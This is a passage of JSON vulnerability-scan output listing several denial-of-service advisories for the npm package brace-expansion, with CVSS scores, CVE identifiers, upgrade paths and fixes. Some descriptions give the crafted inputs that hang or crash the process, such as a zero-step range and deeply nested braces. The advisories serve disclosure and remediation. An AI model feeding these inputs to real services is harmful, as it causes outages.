"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/run-script@9.1.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/run-script@9.1.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/run-script@9.1.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/run-script@9.1.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/run-script@9.1.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/run-script@9.1.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
